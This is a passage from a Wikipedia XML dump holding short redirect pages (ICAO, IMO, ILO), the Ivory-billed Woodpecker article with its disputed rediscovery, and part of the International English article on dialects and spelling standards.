</text>
    </revision>
  </page>
  <page>
    <title>ICAO</title>
    <id>14989</id>
    <revision>
      <id>15912506</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Civil Aviation Organization]]
</text>
    </revision>
  </page>
  <page>
    <title>IMO</title>
    <id>14990</id>
    <revision>
      <id>31450296</id>
      <timestamp>2005-12-15T09:51:24Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">The [[three-letter abbreviation]] '''IMO''' may have several meanings, depending on context:

* &quot;In My Opinion&quot; - [[USENET]] and [[internet chat]] slang.  Used mostly on sites like NewGrounds BBS and MySpace PMs.  See also &quot;[[IMHO]]&quot;.
* [[International Maritime Organization]]
* [[International Mathematical Olympiad]]
* [[International Meteor Organization]]
* [[International money order]]
* [[Irish Medical Organisation]] (a [[labor union]])

'''&quot;Imo&quot;''' ''(only first letter in capitals)'' may also refer to: 

* [[Imo State, Nigeria]]

* The [[World War I]]-era [[Belgian]]-Relief ship ''[[Imo (ship)|Imo]]'' involved in a collision with the [[France|French]] munitions ship ''[[Mont Blanc (ship)|Mont Blanc]]'' in [[Halifax Harbour]], [[Nova Scotia]], [[Canada]], the result of which caused the [[Halifax Explosion]].

{{TLAdisambig}}

[[da:Imo]]
[[de:IMO]]
[[pl:IMO]]
[[zh:IMO]]</text>
    </revision>
  </page>
  <page>
    <title>ILO</title>
    <id>14991</id>
    <revision>
      <id>33647982</id>
      <timestamp>2006-01-02T22:31:53Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[ILO (disambiguation)]]</text>
    </revision>
  </page>
  <page>
    <title>Ivory-billed Woodpecker</title>
    <id>14992</id>
    <revision>
      <id>40904765</id>
      <timestamp>2006-02-23T20:17:10Z</timestamp>
      <contributor>
        <username>Jeff3000</username>
        <id>170884</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Ivory-billed Woodpecker
| status = {{StatusCritical}}
| image = Ivorybilledwoodpecker.jpg
| image_width = 200px
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Aves]]
| ordo = [[Piciformes]]
| familia = [[Picidae]]
| genus = ''[[Campephilus]]''
| species = '''''C. principalis'''''
| binomial = ''Campephilus principalis''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}

The '''Ivory-billed Woodpecker''' (''Campephilus principalis'') is a very large and extremely rare member of the [[woodpecker]] [[Scientific classification|family]], ''[[Picidae]]''.  It is officially listed as an [[endangered species]], and until recently had widely been considered [[Extinction|extinct]].  However, highly compelling sightings of at least one male bird in [[Arkansas]] in 2004 and 2005 were reported in [[April 2005]] ([http://www.sciencemag.org/cgi/content/abstract/1114103 abstract]), and audio evidence suggesting the presence of the bird has also been collected.  If its rediscovery is confirmed, this would make the Ivory-billed Woodpecker a [[lazarus taxon|lazarus species]]. 

The Ivory-billed Woodpecker is the second-largest woodpecker in the world, slightly smaller than the closely related [[Imperial Woodpecker]] (''C. imperialis'') of western [[Mexico]], another rare species which is very likely to be extinct. It measures from 48 to 53 cm (19 to 21 in) in length and 450 to 570 g (1.0 to 1.25 lb) in weight, with short legs and feet ending in large, curved claws.

The bird is shiny blue-black with extensive white markings on its neck and on both the upper and lower trailing edges of its wings.  It has a pure white bill and displays a prominent top crest, red in the male and black in the female.  These characteristics distinguish it from the darker-billed [[Pileated Woodpecker]].  Like all woodpeckers, it has a strong and straight chisel-like bill and a long, mobile, hard-tipped, barbed [[tongue]]. Its drum is a single or double rap, and its alarm call, a ''kent'' or ''hant'', sounds like a toy [[trumpet]] repeated in a series or as a double note.

The reason for the species' decline was primarily due to [[loss of habitat]] and also hunting by collectors.  Even if the Ivory-billed Woodpecker is not extinct, most believe that only a handful could still be living. 

== Habitat and diet ==
Ivory-billeds are known to prefer thick hardwood swamps and pine [[forest]]s, with large amounts of dead and decaying [[tree]]s. Prior to the [[American Civil War]], much of the [[U.S. Southern states|Southern United States]] was covered in vast tracts of [[Primeval forest|primeval hardwood forests]] that were suitable as habitat for the bird. At that time, the Ivory-billed Woodpecker ranged from east [[Texas]] to [[North Carolina]], and from southern [[Illinois]] to [[Florida]] and [[Cuba]] [http://birds.cornell.edu/ivory/story11.htm]. After the Civil War, the [[logging|timber industry]] [[deforestation|deforested]] millions of acres in the South, leaving only sparse isolated tracts of suitable habitat.

The Ivory-billed Woodpecker feeds mainly on the [[larva|larvae]] of wood-boring [[beetle]]s, but also eats [[seed]]s, [[fruit]], and other [[insect]]s. The bird uses its enormous white bill to hammer, wedge, and peel the bark off dead trees to find the insects. Surprisingly, these birds need about 25 km&amp;sup2; (10 square miles) per pair so they can find enough food to feed their young and themselves. Hence, they occur at low densities even in healthy populations. The more common [[Pileated Woodpecker]] may compete for food with this species.

== Breeding biology==
The Ivory-billed Woodpecker is thought to pair for life. Pairs are also known to travel together. These paired birds will mate every year between January and May. Before they have their young, they excavate a nest in a dead or partially dead tree about 8&amp;ndash;15 m up from the ground. Usually 2 to 5 [[Egg (biology)|eggs]] are laid and incubated for 3 to 5 weeks. Both parents sit on the eggs and are involved in taking care of the chicks, with the male taking sole responsibility at night. They feed the chicks for months. About five weeks after the young are born, they learn to fly. Even after the young are able to fly, the parents will continue feeding them for another two months. The whole family will eventually split up in late fall or early winter.

== Conservation status ==
Heavy [[logging]] activity and [[hunting]] by collectors decimated the population of Ivory-billed Woodpeckers in the late [[1800s]]. It was generally considered extinct in the 1920s, when a pair turned up in Florida, only to be shot for specimens. 

By 1938, an estimated 20 individuals remained in the wild, located in the old-growth forest called the Singer Tract in [[Louisiana]], where logging rights were held by the Chicago Mill and Lumber Company, which brushed aside pleas from four Southern governors and the [[National Audubon Society]] that the tract be publicly purchased and set aside as a reserve. By 1944 the last known Ivory-billed Woodpecker, a female, was gone from the cut-over tract (''Smithsonian'' p 98). 

The Ivory-billed Woodpecker was listed as an [[endangered species]] on [[March 11]] [[1967]], though the only evidence of its existence at the time was a possible recording of its call made in East Texas. The last reported sighting of the [[Cuba]]n subspecies (''C. p. bairdii''), after a long interval, was in 1987; it has not been seen since. 

There were occasional scattered reports of the bird, but many [[ornithology|ornithologists]] believed the species had been wiped out completely, and it was assessed as &quot;extinct&quot; by the [[World Conservation Union|International Union for Conservation of Nature and Natural Resources]] in 1994. This assessment was later altered to &quot;critically endangered&quot; on the grounds that the species could still be extant [http://www.iucnredlist.org/search/details.php?species=3712].

==Pearl River expedition==
In [[1999]], there was an unconfirmed sighting of a pair of birds in the [[Pearl River (Mississippi-Louisiana)|Pearl River]] region of southeast [[Louisiana]] by a forestry student, David Kulivan. In a [[2002]] expedition in the forests, swamps, and [[bayou]]s of the Pearl River Wildlife Management Area by [[Louisiana State University]], biologists spent 30 days searching for the bird [http://news.nationalgeographic.com/news/2002/02/0220_0220_newwoodpecker.html]. 

In the afternoon of [[January 27]], after ten days, a rapping sound similar to the &quot;double knock&quot; made by the Ivory-billed Woodpecker was heard and recorded. The exact source of the sound was not found because of the swampy terrain, but signs of active woodpeckers were found (i.e., scaled bark and large tree cavities). The expedition was inconclusive, however, as it was determined that the recorded sounds were likely gunshot echoes rather than the distinctive double rap of the Ivory-billed Woodpecker [http://birds.cornell.edu/publications/birdscope/summer2002/ivory_bill_absent.html].

== Rediscovery ==
A group of seventeen authors headed by the [[Cornell Lab of Ornithology]] reported the discovery of at least one Ivory-billed Woodpecker, a male, in the Big Woods area of [[Arkansas]] in 2004 and 2005, publishing the report in the journal [[Science (journal)|''Science'']] on [[April 28]] [[2005]].

One of the authors, who was kayaking in the [[Cache River National Wildlife Refuge]], [[Monroe County, Arkansas]], on [[February 11]] [[2004]], reported on a website the sighting of an unusually large red-crested woodpecker. This report led to more intensive searches there and in the [[White River National Wildlife Refuge]] undertaken in deepest secrecy&amp;mdash;for fear of a stampede of [[bird-watcher]]s&amp;mdash;by experienced observers over the next fourteen months. About fifteen sightings occurred during the period (seven of which were considered compelling enough to mention in the scientific article), possibly all of the same bird. The secrecy permitted [[The Nature Conservancy]] and [[Cornell University]] to quietly buy up Ivory-billed habitat to add to the 120,000 acres (490 km&amp;sup2;) of the Big Woods protected by the Conservancy.

A very large woodpecker was videotaped on [[April 25]] [[2004]]; its size, wing pattern at rest and in flight, and white plumage on its back between the wings were cited as evidence that the woodpecker sighted was an Ivory-billed Woodpecker. That same video included an earlier image of what was believed to be such a bird perching on a [[Water Tupelo]] (''[[Tupelo|Nyssa]] aquatica'').

The report also notes that drumming consistent with that of Ivory-billed Woodpecker had been heard in the region. It describes the potential for a thinly distributed population in the area, though no birds have been located away from the primary site. A current concern is that many bird enthusiasts will rush to the area in an attempt to catch a glimpse of this rare bird. This is exactly what birders have been encouraged not to do by experts to avoid disturbing the birds. There are stories from when the species was more abundant of adult birds abandoning their nests and young simply because they were being watched.

In June 2005, ornithologists at [[Yale University]], the [[University of Kansas]], and [[Florida Gulf Coast University]] submitted a scientific article skeptical of the initial reports of rediscovery.  However, after reviewing new sound recordings from the [[White River (Arkansas)|White River of Arkansas]] supplied to them by the Cornell team that reported the rediscovery, they announced in August 2005 that they had concluded that the bird has indeed been rediscovered and withdrew their paper. Yale ornithologist [[Richard Prum]] stated: 
&lt;blockquote&gt;We were very skeptical of the first published reports, and thought that the previous data were not sufficient to support this startling conclusion. But the thrilling new sound recordings provide clear and convincing evidence that the Ivory-billed Woodpecker is not extinct.&lt;/blockquote&gt;

In August 2005, despite the arguments for the existence of at least one Ivory-billed Woodpecker, questions about the evidence remained. Cornell could not say with absolute certainty that the sounds recorded in Arkansas were made by Ivory-billeds[http://www.birds.cornell.edu/ivory/field/listening/expert/document_view].
Some skeptics, including Richard Prum, believe the video could have been of a [[Pileated Woodpecker]] [http://www.bioedonline.org/news/news-print.cfm?art=1940].

In December 2005, Richard Prum's position was presented this way: 
&lt;blockquote&gt;Prum, intrigued by some of the recordings taken in Arkansas' Big Woods, said the evidence thus far is refutable.[http://www.chron.com/disp/story.mpl/front/3532519.html]&lt;/blockquote&gt;

On page 13 of the American Birding Association publication &quot;Winging It&quot; (Nov/Dec 2005), it says:
&lt;blockquote&gt;The ABA Checklist Committee has not changed the status of the Ivory-billed
Woodpecker from Code 6 (EXTINCT) to another level that would reflect a small
surviving population.  The Committee is waiting for unequivocal proof that
the species still exists.&lt;/blockquote&gt;

In a paper published in The Auk in January 2006, Jerome Jackson expressed skepticism of the Ivory-bill evidence: 
&lt;blockquote&gt;Prum, Robbins, Brett Benz, and I remain steadfast in our belief that the bird in the Luneau video is a normal Pileated Woodpecker. Others have independently come to the same conclusion, and publication of independent analyses may be forthcoming...For scientists to label sight reports and questionable photographs as “proof” of such an extraordinary record is delving into “faith-based” ornithology and doing a disservice to science.[http://www.aou.org/persp1231.pdf]&lt;/blockquote&gt;

==Other facts==
The Ivory-billed Woodpecker is sometimes referred to as the '''Grail Bird''' or the '''Lord God Bird''' (a name shared with the [[Pileated Woodpecker]]). [[National Public Radio]] interviews concerning the rediscovery of the species were conducted with residents of [[Brinkley, Arkansas]], and then shared with musician [[Sufjan Stevens]] who used the material to write a song titled &quot;Lord God Bird&quot;. More information and the song can be found on [http://www.npr.org/templates/story/story.php?storyId=4721675 the NPR website].

== References ==
* [http://www.abirdshome.com/Audubon/VolIV/00426.html The Ivory-billed Woodpecker] from the now [[public domain]] ''Birds of America'' by [[John James Audubon]], hosted by a commercial website.  ISBN 0810920611.
* [http://audubon2.org/webapp/watchlist/viewSpecies.jsp?id=110 Watchlist entry for the Ivory-billed Woodpecker], from the [[National Audubon Society]].
* {{cite book | author=Winkler, H., D. A. Christie, and D. Nurney | title=Woodpeckers: A Guide to the Woodpeckers of the World | publisher=Boston: Houghton Mifflin Company | year=1995 | id=ISBN 0395720435}}
* {{cite journal | author=Fitzpatrick JW, Lammertink M, Luneau MD Jr, Gallagher TW, Harrison BR, Sparling GM, Rosenberg KV, Rohrbaugh RW, Swarthout EC, Wrege PH, Swarthout SB, Dantzker MS, Charif RA, Barksdale TR, Remsen JV Jr, Simon SD, Zollner D | title=Ivory-billed woodpecker (Campephilus principalis) persists in continental North America | journal=[[Science (journal)|Science]] | volume=308 | issue=5727 | year=2005 | pages=1460-1462 | id=PMID 15860589}}
* [[United States Fish and Wildlife Service|U.S. Fish and Wildlife Service]] ([[April 28]], [[2005]]). [http://www.fws.gov/southeast/news/2005/r05-029.html Once-thought Extinct Ivory-Billed Woodpecker Rediscovered in Arkansas]. Press Release
* {{cite book | author=Hoose, Phillip M. | title=The Race to Save the Lord God Bird | publisher=New York:  Farrar, Straus, and Giroux | year=2004 | id=ISBN 0374361738}} (children's book)
* {{cite book | author=Jackson, Jerome A | title=In Search of the Ivory-Billed Woodpecker | publisher=Smithsonian Institution Press | year=2004 | id=ISBN 1588341321}}
* {{cite book | author=[[Tim Gallagher|Gallagher, Tim]] | title=The Grail Bird: Hot on the Trail of the Ivory-Billed Woodpecker | publisher=Houghton Mifflin | year=2005 | id=ISBN 0618456937}}
* Scott Weidensaul, &quot;Ghost of a chance&quot; ''Smithsonian Magazine'' August 2005 pp 97&amp;ndash;102.

== External links ==
* [http://news.bbc.co.uk/2/hi/science/nature/4493825.stm 'Extinct' woodpecker found alive] from [[BBC News]]
* [http://www.museum.lsu.edu/~Remsen/IBW.html The Search for the Ivory-billed Woodpecker], from a [[Louisiana State University]] website
* [http://www.nature.org/ivorybill/ The ivory-billed woodpecker has returned] with information on the Ivory-bill, its habitat, and the core search team, all from [http://www.nature.org/ The Nature Conservancy]
* [http://www.nature.org/magazine/fall2004/animals/ Online excerpt of ''The Race to Save the Lord God Bird''], a book about the history of the Ivory-billed Woodpecker by author Phillip Hoose
* [http://www.nature.org/chat/ Live audio chat about the ivory-bill] with Phillip Hoose, author of &lt;em&gt;The Race to Save the Lord God Bird&lt;/em&gt;, on Tuesday, May 10, 2005 (archive to be posted after the chat)
* [http://birds.cornell.edu/ivory/ Website about the bird] with video and sound files, from the [[Cornell University|Cornell]] Lab of Ornithology (CLO) website
* [http://www.npr.org/programs/re/archivesdate/2002/march/ Radio Reports of the 2002 search], from [[National Public Radio]], with streaming [[RealAudio]]
* [http://news.fws.gov/NewsReleases/showNews.cfm?newsId=897957A5-1143-3066-401A20C9DFF1CE36 U.S. Fish &amp; Wildlife Service] - [[April 28]], [[2005]] news release regarding rediscovery of the Ivory-billed Woodpecker
*[http://www.ivorybill.org/ The Big Woods Conservation Partnership], a group led by the CLO and [[The Nature Conservancy]], formed in response to the bird's rediscovery
* [http://www.nature.org/pressroom/features/photos.html Ivory-billed woodpecker photos] from The Nature Conservancy, along with [http://www.nature.org/pressroom/features/maps.html maps of ivory-bill's habitat]
* [http://www.birdingamerica.com/Ivorybill/ivorybilledwoodpecker.htm The Ivory-billed Woodpecker is Rediscovered in Arkansas!], from the personal website of a birder in Arkansas
* [http://www.sciencemag.org/cgi/rapidpdf/1114103v1.pdf Ivory-Billed Woodpecker (''Campephilus principalis'') Persists in Continental North America], from Sciencexpress, in [[Portable Document Format|PDF format]] 
* [http://narsal.ecology.uga.edu/ivoryga.htm Ivory-Billed Woodpecker habitat range in Georgia] from the Natural Resources Spatial Analysis Laboratory's Georgia GAP Project
* [http://www.cornellsun.com/vnews/display.v/ART/2005/04/29/4271dfcdb52d7?in_archive=1 'Extinct' Woodpecker Found] from the Cornell University newspaper
* [http://media.eurekalert.org/scipub/images/Cornell_high.mov Quicktime movie about the rediscovery of the Ivory-Billed Woodpecker] &amp;ndash; includes video footage that confirmed the woodpecker's rediscovery
* [http://www.yale.edu/opa/newsr/05-08-02-01.all.html Independent Researchers Confirm the Existence of Ivory-billed Woodpecker], an August 2005 [[Yale University]] press release
* [http://tomnelson.blogspot.com/2005/09/ivory-bill-skeptic-home.html Questions about the evidence], from a skeptic
* [http://audubon-print.com/ivory-billed-woodpecker.html Ivory Billed Woodpecker by John Audubon]
* [http://www.cbsnews.com/stories/2005/10/13/60minutes/main940587.shtml Finding The 'Lord God Bird'] from [[CBS News]]
* [http://ca.geocities.com/woodpeck2006/ivory.html Ivory-billed Woodpecker], a bibliographic source

[[Category:Woodpeckers]]
[[Category:Controversial birds]]

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      <text xml:space="preserve">{{English dialects}}
'''International English''' is the concept of the [[English language]] as a global means of communication in numerous dialects, and the movement towards an international standard for the language. It is sometimes referred to as ''Global English'', ''World English'' or ''[[Standard English]]''. Sometimes these terms refer simply to the array of varieties of English spoken throughout the world; sometimes they refer to a desired standardisation. However, consensus on the terminology and path to standardisation has not been reached.

== Historical context ==
The modern concept of International English does not exist in isolation, but is the product of centuries of development of the English language.

The language of [[England]] came to dominance throughout the island of [[Great Britain]] during the Middle Ages and in [[Ireland]] during the 18th century and, especially, the 19th century. In the modern era, printing led to the gradual standardisation of English, and particularly the use of the [[prestige dialect]] of the English ruling classes.

The establishment of the first permanent English-speaking colony in [[North America]] in [[1607]] was a major step towards the globalisation of the language. [[British English]] was only partially standardised when the American colonies were established. Isolated from Britain by the Atlantic Ocean, the settlements evolved a distinct standard form of [[American English]]. In particular, [[Noah Webster]]'s reform of American-English spelling in the early [[19th century]] gave rise to the main division in English spelling that exists today.

In the [[18th century]], British colonialism focused on the [[southern hemisphere]]. The standardisation of [[British English]] was more settled than it had been in the previous century, and this confident English was brought to [[Africa]], [[Asia]] and [[Oceania]]. It developed both as the language of English-speaking settlers from Britain and Ireland, and as the administrative language imposed on speakers of other languages in the various parts of the [[British Empire]]. The first form can be seen in [[New Zealand English]], and the latter in [[Indian English]]. The term [[Commonwealth English]] refers to these groups of English dialects.

The English-speaking nations of [[Canada]] and the [[Caribbean]] are caught between historical connections with British and Commonwealth English, and geographical connections with U.S. English. In some things, and more formally, they tend to follow British standards, in others they follow the U.S. standard.

More recently, American English has become predominant as the preferred version of English in many countries that previously either had no preferred form, or preferred some variant of British English. Since World War II, for example, the governments of China (though not Hong Kong) and Japan have generally used American English, though in the case of China, the puncuation is a mixture of both American and British.

The ebb and flow between the standardisation of the language and its diversification have been ever present throughout its history. The flagship of the former is intelligibility and practicality, while the latter has cultural autonomy and flexibility.

== Modern global language ==
There is a distinction between English as spoken as a [[native language]] around the world (in the [[USA]], the [[United Kingdom]], [[Australia]] and so forth) and as a non-native language spoken as a regional or global [[lingua franca]].

A second distinction is made between those countries where non-native English has official or historical importance (''special significance'', for example, in [[Pakistan]] and [[Uganda]]), and those where it does not (for example, in [[Japan]] and [[Peru]]).

In the terminology of [[Language education|English language teaching]] (ELT), we have:
* English as a native language (ENL), also called ''first language'' (L1).
* [[English as an additional language]] (EAL) or English for speakers of other languages (ESOL):
** English as a second language ([[TESL|ESL]]) in an environment where English has a ''special significance'', also called ''second language'' (L2).
** English as a foreign language (EFL) in places where it has no ''special significance'', also called ''third language'' (L3).

English as a second language might refer either to acquisition of the language in southern India, where it is a prominent, regional lingua franca, or the acquisition of the language by a speaker of another language in a predominantly English-speaking country (a Brazilian living in Barbados, for instance). It may not be an individual's actual second language, but perhaps third or fourth.

In the context of language teaching, English as an additional language (EAL) usually is based on the standards of either British/Commonwealth English or American English. English as an international language (EIL) is EAL with emphasis on learning different major dialect forms; in particular, it aims to equip students with the linguistic tools to communicate internationally.

The term ''International English'' is used in the ''International English Language Testing System'' ([[IELTS]]), an English-language definition and evaluation system owned, developed and delivered through the partnership of the [[British Council]], [[IDP Education Australia]]: IELTS Australia and the [[University of Cambridge]] ESOL Examinations. Though concentrating on a kind of English understood almost everywhere, the basic standard is taken to be [[Commonwealth English]].

== Varying concepts ==

=== Universality and flexibility ===
 
International English sometimes refers to English as it is actually being used and developed in the world; as a language owned not just by native speakers, but by all those who come to use it.
&lt;blockquote&gt;Basically, it covers the English language at large, often (but not always or necessarily) implicitly seen as standard. It is certainly also commonly used in connection with the acquisition, use, and study of English as the world's lingua franca ('TEIL: Teaching English as an International Language'), and especially when the language is considered as a whole in contrast with ''American English'', ''British English'', ''South African English'', and the like. &amp;mdash;&amp;nbsp;McArthur (2002, p.&amp;nbsp;444&amp;ndash;45)&lt;/blockquote&gt;
It especially means English words and phrases generally understood throughout the English-speaking world as opposed to localisms. The importance of non-native English language skills can be recognised behind the long-standing joke that the international language of science and technology is broken English.

=== Neutrality ===

International English reaches towards cultural neutrality. This has a practical use:
&lt;blockquote&gt;&quot;What could be better than a type of English that saves you from having to re-edit publications for individual regional markets! Teachers and learners of English as a second language also find it an attractive idea&amp;nbsp;&amp;mdash; both often concerned that their English should be neutral, without British or American or Canadian or Australian colouring. Any regional variety of English has a set of political, social and cultural connotations attached to it, even the so-called 'standard' forms.&quot; &amp;mdash;&amp;nbsp;Peters (2004, ''International English'')&lt;/blockquote&gt;
According to this viewpoint, International English is a concept of English that minimises the aspects defined by either the colonial [[imperialism]] of Victorian Britain or the [[cultural imperialism]] of the 20th century United States. While British [[colonialism]] laid the foundation for English over much of the world, International English is a product of an emerging world culture, very much attributable to the influence of the United States as well, but conceptually based on a far greater degree of cross-talk and linguistic transculturation, which tends to mitigate both U.S. influence and British colonial influence.

The development of International English often centres around academic and scientific communities, where formal English usage is prevalent, and creative and flowery use of the language is at a minimum. This formal International English allows entry into Western culture as a whole and Western cultural values in general.

=== Opposition ===
The continued growth of the English language itself is seen by many as a kind of [[cultural imperialism]], whether it is English in one form or English in two slightly different forms.

Robert Phillipson argues against the possibility of such neutrality in his ''Linguistic Imperialism'' (1992). Learners who wish to use purportedly correct English are in fact faced with the dual standard of American English and British English, and other less known standard Englishes.

Edward Trimnell, author of ''Why You Need a Foreign Language &amp; How to Learn One'' (2005) argues that the international version of English is only adequate for communicating basic ideas. For complex discussions and business/technical situations, English is not an adequate communication tool for non-native speakers of the language. Trimnell also asserts that native English-speakers have become &quot;dependent on the language skills of others&quot; by placing their faith in international English.

=== Appropriation theory ===
There are also some who reject both linguistic imperialism and Crystal's theory of the neutrality of English. They argue that the phenomenon of the global spread of English is better understood in the framework of [[appropriation]] (e.g. Spichtinger 2000), that is English used for local purposes around the world. Demonstrators in non-English speaking countries often use signs in English to convey their demands to TV-audiences around the globe, for instance. 

In English language teaching Bobda shows how [[Cameroon]] has moved away from a mono-cultural, Anglo-centred way of teaching English and has gradually appropriated teaching material to a Cameroonian context. Non Western-topics treated are, for instance, the rule of Emirs, traditional medicine or polygamy (1997:225). Kramsch and Sullivan (1996) describe how Western methodology and textbooks have been appropriated to suit local [[Vietnamese culture]]. The [[Pakistani]] textbook &quot;Primary Stage English&quot; includes lessons such as &quot;Pakistan My Country&quot;, &quot;Our Flag&quot;, or &quot;Our Great Leader&quot; (Malik 1993: 5,6,7) which might well sound jingoistic to Western ears. Within the native culture, however, establishing a connection between ELT, patriotism and Muslim faith is seen as one of the aims of ELT, as the chairman of the Punjab Textbook Board openly states: &quot;The board...takes care, through these books to inoculate in the students a love of the Islamic values and awareness to guard the ideological frontiers of your [the students] home lands&quot; (Punjab Text Book Board 1997).

=== Many Englishes ===
There are many difficult choices that have to be made if there is to be further standardisation of English in the future. These include the choice over whether to adopt a current standard, or move towards a more neutral, but artificial one. A true International English might supplant both current American and British English as a variety of English for international communication, leaving these as local dialects, or would rise from a merger of General American and standard British English with admixture of other varieties of English and would generally replace all these varieties of English.
&lt;blockquote&gt;We may, in due course, all need to be in control of two standard Englishes&amp;mdash;the one which gives us our national and local identity, and the other which puts us in touch with the rest of the human race. In effect, we may all need to become bilingual in our own language. &amp;mdash;&amp;nbsp;David Crystal (1988: p.&amp;nbsp;265)&lt;/blockquote&gt;
This is the situation long faced by many users of English who possess a 'non-standard' dialect of English as their birth tongue but have also learned to write (and perhaps also speak) a more standard dialect. Many academics often publish material in journals requiring different varieties of English and change style and spellings as necessary without great difficulty.

=== Dual standard === 

Two approaches to International English are the individualistic and inclusive approach and the new dialect approach.

The individualistic approach gives control to individual authors to write and spell as they wish (within purported standard conventions) and to accept the validity of differences. The ''Longman Grammar of Spoken and Written English'', published in 1999, is a descriptive study of both American and British English in which each chapter follows individual spelling conventions according to the preference of the main editor of that chapter.

The new dialect approach appears in ''The Cambridge Guide to English Usage'' (Peters, 2004) which attempts to avoid any language bias and accordingly uses an idiosyncratic international spelling system of mixed American and British forms (but tending more to American spelling).

== Non-U.S. English ==
Sometimes ''International English'' is used to refer to a general standard that is based on [[Commonwealth English|Commonwealth]] and [[British English]], rather than [[American English|U.S. English]]. Whereas the majority of English native speakers use American English, most nations other than the United States use British/Commonwealth English as a standard, which explains the use of the word &quot;international&quot;. However, U.S. English is having a greater influence in the rapidly expanding area of English as a foreign language, due to the economic and cultural influence of the United States.&lt;br&gt;
The international flavour of British/Commonwealth English is dependent on three factors:

# British and Commonwealth English are standard in far more countries around the world than U.S. English.
# Many academic publications outside the United States use the conventions of the [[Oxford University Press]].
# This standard of English has official status in the [[United Nations]] and the [[European Union]], and it is used as the basis of English-language testing by the ''International English Language Testing System'' ([[IELTS]]).

''International English'' is also sometimes used in this manner in the computer industry. The [[Linux]] community, and other [[Open Software]] groups use the term [[Commonwealth English]] instead, usually in giving users a choice of spellings or wordings for messages. But the English language choices given are in fact normally only between American English and British English with ''-ise'' spellings, the latter being called ''International English'' or ''Commonwealth English''.

However, [[Microsoft]]'s ''[[Encarta]]'' has different versions for American English, Australian English, British English, and Canadian English which does not exhaust what could be provided.

== International organisations ==

There are ''three major English varieties'' used as standards by international organisations:

=== British English with -ize spellings ===
Spellings: centre, programme, labour, defence, cooperation, organize, recognize, but: analyse
&lt;br&gt;[[IANA]] language tag [[en-GB-oed]], this standard is based on the [[Oxford English Dictionary]]

Examples of organisations that predominantly adhere to this standard are: 
* United Nations system ([[UN]], [[UNESCO]], [[UNICEF]]...),
* World Trade Organization ([[WTO]]),
* International Organization for Standardization ([[International Organization for Standardization|ISO]]),
* International Electrotechnical Commission ([[IEC]]),
* International Telecommunication Union ([[ITU]]),
* World Health Organization ([[WHO]]),
*[[ International Labour Organization]] (ILO),
* International Atomic Energy Agency ([[IAEA]]),
* Organization of the Petroleum Exporting Countries ([[OPEC]]),
* South Asian Association for Regional Cooperation ([[SAARC]]),
* International Criminal Police Organization - [[Interpol]],
* International Committee of the Red Cross ([[ICRC]]),
* [[WWF]] - The Conservation Organization,
* and [[Amnesty International]].

=== British English with -ise spellings === 
Spellings: centre, programme, labour, defence, co-operation, organise, recognise, analyse&lt;br&gt;
Language tag [[en-GB]], the official standard of the UK government.

Examples of organisations that predominantly adhere to this standard are:
* North Atlantic Treaty Organisation ([[NATO]]),
* European Union ([[EU]]),
* Organisation for Economic Co-operation and Development ([[OECD]]),
* [[Commonwealth Secretariat]] ([[Commonwealth of Nations]]),
* Organisation of Eastern Caribbean States ([[OECS]]),
* International Olympic Committee ([[IOC]]),
* Fédération Internationale de Football Association ([[FIFA]]),
* [[Transparency International]]
* and [[Greenpeace]]

=== American English === 
Spellings: center, program, labor, defense, cooperation, organize, recognize, analyze&lt;br&gt;
Language tag [[en-US]], used by the U.S. government.

Examples of organisations that predominantly adhere to this standard are:
* International Monetary Fund ([[IMF]]),
* [[World Bank]],
* Organization of American States ([[OAS]]),
* [[NAFTA]] Secretariat,
* and World Intellectual Property Organization ([[WIPO]])
* [[IUPAC]]

==See also==
* [[Globish]], the &quot;dialect&quot; version of International English

==References, further reading, and external links==

===Distinguished from or including both U.S. and British English===

* [http://kfa.univ.szczecin.pl/histvar/around.html Arsoba, Leszek. &quot;Varieties of English: English Around the World&quot;]
* Biber, Douglas; Johansson, Stig; Leech, Geoffrey; Conrad, Susan; Finnegan, Edward (1999). ''Longman Grammar of Spoken and Written English.'' Harlow, Essex: Pearson Education. ISBN 0582237254.
* Bobda, Augustin Simo (1997) &quot;Sociocultural Constraints in EFL Teaching in Cameroon.&quot; In: Pütz, Martin (ed.) The cultural Context in Foreign Language Teaching. Frankfurt a.M.: Lang. 221-240. 
* Crystal, David (1988). ''The English Language''. London: Penguin. ISBN 0140135324.
* &amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash;&amp;mdash; (1997). ''English as a Global Language.'' Cambridge: Cambridge University Press. ISBN 052159247X. 
* [http://www.ling.ed.ac.uk/~pgc/archive/2000/subs/elizabeth.ps Erling, Elizabeth J. (2000). &quot;International/Global/World English: Is a Consensus Possible?&quot;, Postgraduate Conference Proceedings, The University of Edinburgh, Department of Applied Linguistics.] (Postscript.)
* [http://www.unizar.es/departamentos/filologia_inglesa/garciala/bibliography.html García Landa, José Ángel (2004). &quot;World English&quot; Bibliography. From ''A Bibliography of Literary Theory, Criticism and Philology'' (10th ed.) University of Zaragoza (Spain).]
* [http://www.ielts.org IELTS&amp;mdash;International English Language Testing System.]
* [http://www.teachingenglish.org.uk/think/pron/global_english.shtml Jenkins, Jennifer. &quot;Global English and the teaching of pronunciation&quot;.] (A discussion of the relative importance of different pronunciation feature for international comprehension of spoken English.)
* [http://www.wordflair.com/Articles/ibearticle.html Johnson, Christine and Bartlett, Cath (1999). &quot;International Business English - What should we be teaching?&quot; ''BESIG Business Issues'' 3.]
* [http://online-communication.net/southernenglish.html Johnson, Angel M. &quot;Southerners, Rednecks, Hicks, and Bumpkins: Sustainers of the Forgotten United States Dialects&quot;.]
* Kachru, Braj (1986). ''The Alchemy of English: The Spread, Functions, and Models of Non-native Englishes.'' Chicago: University of Illinois Press. ISBN 0252061721.
* Klaire Kramsch and Particia Sullivan (1996) &quot;Appropriate Pedagogy&quot;. ELT Journal 50/3 199-212. 
